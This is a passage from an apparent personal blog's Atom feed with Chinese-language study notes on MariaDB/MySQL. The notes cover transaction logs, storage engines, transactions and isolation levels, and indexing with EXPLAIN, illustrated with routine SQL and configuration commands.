class="line">mysqlbinlog [option] bin_log_file</span><br><span class="line">--start-position：指定事件起始位置</span><br><span class="line">--stop-position：指定事件结束位置</span><br><span class="line">--start-datetime：指定事件开始时间</span><br><span class="line">--stop-datetime：指定事件结束时间</span><br></pre></td></tr></table></figure><h3 id="中继日志"><a href="#中继日志" class="headerlink" title="中继日志"></a>中继日志</h3><p>复制架构中，从服务器用于保存从主服务器的二进制日志中读取到的事件。</p><h3 id="事务日志"><a href="#事务日志" class="headerlink" title="事务日志"></a>事务日志</h3><p>帮助事务存储引擎满足ACID测试，由存储引擎自行管理和使用。一般分为redo log和undo log。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#查找log参数变量</span><br><span class="line">show global variables like '%log%';</span><br><span class="line">#事务日志存放位置</span><br><span class="line">innodb_log_group_home_dir=./</span><br><span class="line">#事务日志文件一组有几个</span><br><span class="line">innodb_log_files_in_group=2</span><br><span class="line">#每个事务日志文件大小</span><br><span class="line">innodb_log_file_size=5242880</span><br></pre></td></tr></table></figure><h4 id="redo-log"><a href="#redo-log" class="headerlink" title="redo log"></a>redo log</h4><p>通常是物理日志，记录的是数据页的物理修改，而不是某一行或某几行修改成怎样，它用来恢复提交后的物理数据页(恢复数据页，且只能恢复到最后一次提交的位置)。</p><p>redo log包括两部分：一是内存中的日志缓冲(redo log buffer)，该部分日志是易失性的；二是磁盘上的重做日志文件(redo log file)，该部分日志是持久的。</p><p>在概念上，innodb通过force log at commit机制实现事务的持久性，即在事务提交的时候，必须先将该事务的所有事务日志写入到磁盘上的redo log file和undo log file中进行持久化。</p><p>执行流程通常是先将原始数据从磁盘中读入内存中来，修改数据的内存拷贝；然后生成一条重做日志并写入redo log buffer，记录的是数据被修改后的值；当事务commit时，将redo log buffer中的内容刷新到 redo log file，对 redo log file采用追加写的方式；最后定期将内存中修改的数据刷新到磁盘中。</p><p>为了确保每次日志都能写入到事务日志文件中，在每次将log buffer中的日志写入日志文件的过程中都会调用一次操作系统的fsync操作(即fsync()系统调用)。因为MariaDB/MySQL是工作在用户空间的，MariaDB/MySQL的log buffer处于用户空间的内存中。要写入到磁盘上的log file中(redo:ib_logfileN文件,undo:share tablespace或.ibd文件)，中间还要经过操作系统内核空间的os buffer，调用fsync()的作用就是将OS buffer中的日志刷到磁盘上的log file中。</p><h4 id="undo-log"><a href="#undo-log" class="headerlink" title="undo log"></a>undo log</h4><p>undo log有两个作用：提供回滚和多个行版本控制(MVCC)。</p><p>在数据修改的时候，不仅记录了redo，还记录了相对应的undo，如果因为某些原因导致事务失败或回滚了，可以借助该undo进行回滚。</p><p>undo log和redo log记录物理日志不一样，它是逻辑日志。可以认为当delete一条记录时，undo log中会记录一条对应的insert记录，反之亦然，当update一条记录时，它记录一条对应相反的update记录。</p><p>当执行rollback时，就可以从undo log中的逻辑记录读取到相应的内容并进行回滚。有时候应用到行版本控制的时候，也是通过undo log来实现的：当读取的某一行被其他事务锁定时，它可以从undo log中分析出该行记录以前的数据是什么，从而提供该行版本信息，让用户实现非锁定一致性读取。</p><p>undo log是采用段(segment)的方式来记录的，每个undo操作在记录的时候占用一个undo log segment。另外，undo log也会产生redo log，因为undo log也要实现持久性保护。</p>]]></content>
<summary type="html">
<h3 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h3><p>查询日志：query log</p>
<p>慢查询日志：slow query log</p>
<p>错误日志：error log</p>
</summary>
<category term="mariadb" scheme="http://yoursite.com/categories/mariadb/"/>
<category term="mysql" scheme="http://yoursite.com/tags/mysql/"/>
<category term="mariadb" scheme="http://yoursite.com/tags/mariadb/"/>
</entry>
<entry>
<title>mariadb-存储引擎、事务</title>
<link href="http://yoursite.com/2020/02/22/mariadb-%E5%AD%98%E5%82%A8%E5%BC%95%E6%93%8E%E3%80%81%E4%BA%8B%E5%8A%A1/"/>
<id>http://yoursite.com/2020/02/22/mariadb-%E5%AD%98%E5%82%A8%E5%BC%95%E6%93%8E%E3%80%81%E4%BA%8B%E5%8A%A1/</id>
<published>2020-02-22T11:19:25.000Z</published>
<updated>2020-02-22T11:21:53.653Z</updated>
<content type="html"><![CDATA[<h3 id="存储引擎"><a href="#存储引擎" class="headerlink" title="存储引擎"></a>存储引擎</h3><h4 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h4><p>存储引擎是表类型级别的概念，每张表都可以指定使用什么存储引擎。</p><a id="more"></a><h4 id="InnoDB"><a href="#InnoDB" class="headerlink" title="InnoDB"></a>InnoDB</h4><h5 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h5><ul><li><p>用于处理大量短期事务</p></li><li><p>支持行级锁</p></li><li><p>能够实现崩溃后自动恢复</p></li><li><p>数据存储于”表空间”，可以理解为一个建立在文件系统之上的另一个InnoDB专用的文件系统。另外，即使使用一个空的磁盘，且该磁盘不创建文件系统，InnoDB也可以在其上创建表空间进行工作。</p><ul><li>可以将所有的InnoDB表和索引放置于同一个表空间中，但是这样不利于备份且数据混乱。存放于/var/lib/mysql/ibdata1文件中。</li><li>可以每个表单独使用一个表空间存储表的数据和索引，在配置文件的mysqld字段开启：innodb_file_per_table=ON。此时数据文件存放在该表目录下名为tbl_name.idb，表格式文件存放在tbl_name.frm文件中</li></ul></li><li><p>支持MVCC来实现高并发，支持所有的四个隔离级别，默认为REPEATABLE READ；支持间隙锁防止幻读出现</p></li><li><p>使用聚集索引</p></li><li><p>支持“自适应hash索引”、预读操作、插入缓冲区来提高性能</p></li><li><p>支持热备</p></li></ul><h4 id="MyISAM"><a href="#MyISAM" class="headerlink" title="MyISAM"></a>MyISAM</h4><h5 id="特性-1"><a href="#特性-1" class="headerlink" title="特性"></a>特性</h5><ul><li>支持全文索引、压缩表</li><li>不支持事务，不支持行级锁，支持表级锁(容易出现竞争态)</li><li>崩溃后无法正常恢复</li><li>适用于只读(写操作较少)、表较小的数据库</li><li>支持延迟更新索引键</li></ul><h5 id="组成"><a href="#组成" class="headerlink" title="组成"></a>组成</h5><p>tbl_name.frm：表格式定义文件</p><p>tbl_name.MYD：数据文件</p><p>tbl_name.MYI：索引文件</p><h4 id="命令"><a href="#命令" class="headerlink" title="命令"></a>命令</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#查看存储引擎</span><br><span class="line">show engines;</span><br><span class="line">#查看表状态，可以查看使用什么存储引擎</span><br><span class="line">show table status;</span><br></pre></td></tr></table></figure><h3 id="事务"><a href="#事务" class="headerlink" title="事务"></a>事务</h3><h4 id="概念-1"><a href="#概念-1" class="headerlink" title="概念"></a>概念</h4><p>一组原子性的SQL查询，或者说是一个独立的工作单元，必须满足ACID测试。他们要么全部执行(失败全部回滚)，要么全部不执行，它需要依赖事务日志文件实现崩溃后恢复。</p><h4 id="ACID"><a href="#ACID" class="headerlink" title="ACID"></a>ACID</h4><p>A：atomicity，原子性。整个事务中的所有操作要么全部执行，要么全部失败后回滚。</p><p>C：consistency，一致性。数据库总是从一个一致性状态转换为另一个一致性状态。</p><p>I：isolation，隔离性。一个事务所作出的操作在提交之前，是不能为其他所见；隔离有多种级别。</p><p>D：durability，持久性。一旦事务提交，其所做的修改会永久保存于数据库中。</p><h4 id="savepoint"><a href="#savepoint" class="headerlink" title="savepoint"></a>savepoint</h4><p>如果有一系列比较长的操作，但是执行到某一点时执行错了想要回滚，但是如果这时候执行了ROLLBACK那么前面一系列的指令都会全部回滚，效率十分低下。鉴于这种情况，在某条指令后使用savepoint命令创建保存点，那么下次回滚时会回滚到指定保存点的位置。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#创建保存点</span><br><span class="line">SAVEPOINT point_name;</span><br><span class="line"></span><br><span class="line">#回滚指定保存点</span><br><span class="line">ROLLBACK To point_name;</span><br><span class="line"></span><br><span class="line">#清除保存点</span><br><span class="line">RELEASE SAVEPOINT point_name;</span><br></pre></td></tr></table></figure><h4 id="操作"><a href="#操作" class="headerlink" title="操作"></a>操作</h4><p>启动事务：START TRANSACTION</p><p>结束事务：有两种情况；COMMIT提交和ROLLBACK回滚</p><p>注意，默认情况下mysql启动autocommit来实现每个命令自动当作事务进行提交，因此建议关闭autocommit，手动显示请求和提交事务</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#查看是否开启自动提交</span><br><span class="line">show global variables like '%auto%';</span><br><span class="line">#设置为0，即禁用自动提交</span><br><span class="line">set global autocommit=0;</span><br></pre></td></tr></table></figure><h4 id="隔离级别"><a href="#隔离级别" class="headerlink" title="隔离级别"></a>隔离级别</h4><p>隔离级别过高可能会导致阻塞其他事务访问，因此提出隔离级别的概念</p><p>具有四个隔离级别：</p><p>READ-UNCOMMITTED：读未提交，具有脏读、不可重复读、幻读问题</p><p>READ-COMMITTED：读提交，具有不可重复读、幻读问题</p><p>REPEATABLE READ：可重读，默认innodb采用此隔离级别，具有幻读问题</p><p>SERIALIZABILE：可串行化，当前有事务执行时会阻塞其他事务(安全性高，但是几乎无法并行)</p><p>可能存在问题：</p><p>脏读：读到别人没提交的数据，即数据被回滚</p><p>不可重复读：在一次事务中读到不同的数据，即在一次事务中其他人进行了修改</p><p>幻读：为了保证可重读，即使读的数据已被其他人修改，但是在自己的一次事务中仍然认为是原来的样子(即使已经发现被修改，但是为了可重复读必须当作未修改)</p><p>加锁读：要读的数据加锁，别人无法读</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#查看访问mysql的进程</span><br><span class="line">show processlist;</span><br><span class="line">#查看隔离相关参数tx_isolation</span><br><span class="line">show global varibles like '%isolat%'</span><br><span class="line">#修改参数tx_isolation为最低等级，可能会出现脏读、幻读、不可重复读</span><br><span class="line">set tx_isolation='READ-UNCOMMITTED';</span><br></pre></td></tr></table></figure><h4 id="死锁"><a href="#死锁" class="headerlink" title="死锁"></a>死锁</h4><p>两个或多个事务在同一资源相互占用，并请求锁定对方占用的资源的状态。</p><h4 id="事务日志"><a href="#事务日志" class="headerlink" title="事务日志"></a>事务日志</h4><p>保证事务能够回滚、持久。每个写操作都先写到事务日志中 (磁盘上的连续空间)，而不是写到数据文件中，因此避免了大量的随机IO。写操作为追加方式，因此其操作为顺序IO。这种日志被称为预写日志。通常该日志在磁盘上有两个，一个写满后写另一个，同时将写满的事务日志进行执行(默认为ib_logfile0|1，大小为5MB)。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#查询日志相关参数，可以修改事务日志文件大小</span><br><span class="line">show global variables like inno%log%';</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="存储引擎"><a href="#存储引擎" class="headerlink" title="存储引擎"></a>存储引擎</h3><h4 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h4><p>存储引擎是表类型级别的概念，每张表都可以指定使用什么存储引擎。</p>
</summary>
<category term="mariadb" scheme="http://yoursite.com/categories/mariadb/"/>
<category term="mysql" scheme="http://yoursite.com/tags/mysql/"/>
<category term="mariadb" scheme="http://yoursite.com/tags/mariadb/"/>
<category term="存储引擎" scheme="http://yoursite.com/tags/%E5%AD%98%E5%82%A8%E5%BC%95%E6%93%8E/"/>
</entry>
<entry>
<title>mariadb-索引</title>
<link href="http://yoursite.com/2020/02/22/mariadb-%E7%B4%A2%E5%BC%95/"/>
<id>http://yoursite.com/2020/02/22/mariadb-%E7%B4%A2%E5%BC%95/</id>
<published>2020-02-22T06:12:35.000Z</published>
<updated>2020-02-22T11:22:03.766Z</updated>
<content type="html"><![CDATA[<h3 id="基本法则"><a href="#基本法则" class="headerlink" title="基本法则"></a>基本法则</h3><p>索引应该被构建在经常被用作查询条件的字段上。</p><a id="more"></a><h3 id="相关语句"><a href="#相关语句" class="headerlink" title="相关语句"></a>相关语句</h3><h4 id="创建索引"><a href="#创建索引" class="headerlink" title="创建索引"></a>创建索引</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CREATE [UNIQUE | FULLTEXT | SPATIAL] INDEX 索引名 ON 表名(字段名) [USING 索引方法];</span><br><span class="line">#或者</span><br><span class="line">ALTER TABLE 表名 ADD [UNIQUE | FULLTEXT | SPATIAL] INDEX | KEY [索引名] (字段名1 [(长度)] [ASC | DESC]) [USING 索引方法]；</span><br></pre></td></tr></table></figure><h4 id="查看索引"><a href="#查看索引" class="headerlink" title="查看索引"></a>查看索引</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#查看指定表的索引</span><br><span class="line">show index from 表名;</span><br></pre></td></tr></table></figure><h4 id="删除索引"><a href="#删除索引" class="headerlink" title="删除索引"></a>删除索引</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">DROP INDEX 索引名 ON 表名</span><br><span class="line">#或者</span><br><span class="line">ALTER TABLE 表名 DROP INDEX 索引名</span><br></pre></td></tr></table></figure><h3 id="索引类型"><a href="#索引类型" class="headerlink" title="索引类型"></a>索引类型</h3><h4 id="B-Tree索引"><a href="#B-Tree索引" class="headerlink" title="B+ Tree索引"></a>B+ Tree索引</h4><p>顺序存储。由于B+树是一颗平衡二叉树，因此每个叶子节点到根节点的距离是相同的。查询时先查找根节点，然后依次往下直到叶子节点，叶子节点存储的是指向数据的指针。并且叶子节点也是顺序存储的，每个叶子节点都指向同级的其他叶子节点，因此找到一个叶子节点后就可以顺序查找到其他的叶子节点，从而也可以顺序存储其他叶子节点的数据。</p><p>由于B+树索引是左前缀索引，因此适合查询范围类的数据：如全键值数据、键值范围或键前缀查找数据等。</p><ul><li>全键值匹配：精确某个值，即完全匹配。</li><li>匹配最左前缀：只精确匹配起头部分。</li><li>匹配范围值：排序后的一个范围的值，只关心<strong>最左列</strong></li><li>精确匹配某一列，并范围匹配另一列：用于多键值匹配</li></ul><p>不适合B+树索引类型：</p><ul><li>不从最左列开始，索引无效。即如果索引是(Age,Name)而查询语句查询的顺序为Name、Age则无法使用索引</li><li>不能跳过索引中的某个列。即如果索引为(StuID,Name,Age)，而查询语句查询的是(StuID,Age)则无法使用索引</li><li>如果查询中某个列是为范围查询，那么其右侧的列都无法再使用索引。即如果索引为(StuID,Name)，此时查询StuID大于10，Name为D开头的。这种情况下即使满足最左侧查询也无法使用索引。</li></ul><h4 id="Hash索引"><a href="#Hash索引" class="headerlink" title="Hash索引"></a>Hash索引</h4><p>将需要索引的列作hash运算，并将其hash结果进行分组存放，即hash结果为1的放在一个hash桶中，以此类推。这种索引方式适合进行精确匹配的查询，不能进行范围匹配。</p><p>该索引方式只在Memory存储引擎中可以使用。</p><h3 id="索引优点"><a href="#索引优点" class="headerlink" title="索引优点"></a>索引优点</h3><ul><li><p>索引可以降低服务需要扫描的数据量，减少IO次数；</p></li><li><p>索引可以帮助服务器避免排序和使用临时表；</p></li><li><p>索引可以帮助将随机IO转为顺序IO</p></li></ul><h3 id="高性能索引策略"><a href="#高性能索引策略" class="headerlink" title="高性能索引策略"></a>高性能索引策略</h3><p>不要让索引列字段参与计算</p><p>左前缀索引，尽量少的使用相同项，即基于左侧多少字符来进行索引创建</p><p>多列索引，通常用于and操作时使用</p><h3 id="EXPLAIN"><a href="#EXPLAIN" class="headerlink" title="EXPLAIN"></a>EXPLAIN</h3><p>可以使用explain语句来分析索引的有效性</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">#获取查询执行的计划信息，用来查看查询优化器如何执行查询</span><br><span class="line">explain select clause;</span><br><span class="line"></span><br><span class="line">#输出</span><br><span class="line">id：当前查询语句中，每个select语句的编号</span><br><span class="line">select_type：查询类型。</span><br><span class="line">simple：简单查询</span><br><span class="line">复杂查询：</span><br><span class="line">SUBQUERY：简单子查询</span><br><span class="line">DERIVED：用于FROM中的子查询</span><br><span class="line">UNION：UNION语句的第一个之后的SELECT语句</span><br><span class="line">UNION RESULT：UNION语句中的匿名表</span><br><span class="line">table：Select语句关联到的表</span><br><span class="line">type：关联类型，即mysql决定的如何去查询表中的行的方式</span><br><span class="line">ALL：全表扫描</span><br><span class="line">index：根据索引的次序进行全表扫描，可能会产生随机IO</span><br><span class="line">range：有范围限制的根据索引实现的范围扫描</span><br><span class="line">ref：根据索引返回表中匹配某单个值的所有行</span><br><span class="line">eq_ref：仅返回一个行，需要与某个参考值作比较</span><br><span class="line">const，system：直接返回单个行</span><br><span class="line">NULL：没有使用索引</span><br><span class="line">possible_keys：查询可能会用到的索引</span><br><span class="line">key：查询中使用了的索引</span><br><span class="line">key_len：在索引中使用的字节数</span><br><span class="line">ref：在利用key字段所表示的索引完成查询时所用的列或常量值</span><br><span class="line">rows：mysql为找到所有目标而读取的行数</span><br><span class="line">extra：额外信息</span><br><span class="line">Using index：mysql使用覆盖索引，以避免访问表</span><br><span class="line">Using where：mysql将在存储引擎层检索后再进行过滤，即过滤where条件</span><br><span class="line">Using temporary：mysql对结果排序时会使用临时表</span><br><span class="line">Using filesort：mysql对结果使用外部索引排序</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="基本法则"><a href="#基本法则" class="headerlink" title="基本法则"></a>基本法则</h3><p>索引应该被构建在经常被用作查询条件的字段上。</p>
</summary>
<category term="mariadb" scheme="http://yoursite.com/categories/mariadb/"/>
<category term="mysql" scheme="http://yoursite.com/tags/mysql/"/>
<category term="mariadb" scheme="http://yoursite.com/tags/mariadb/"/>
</entry>
</feed>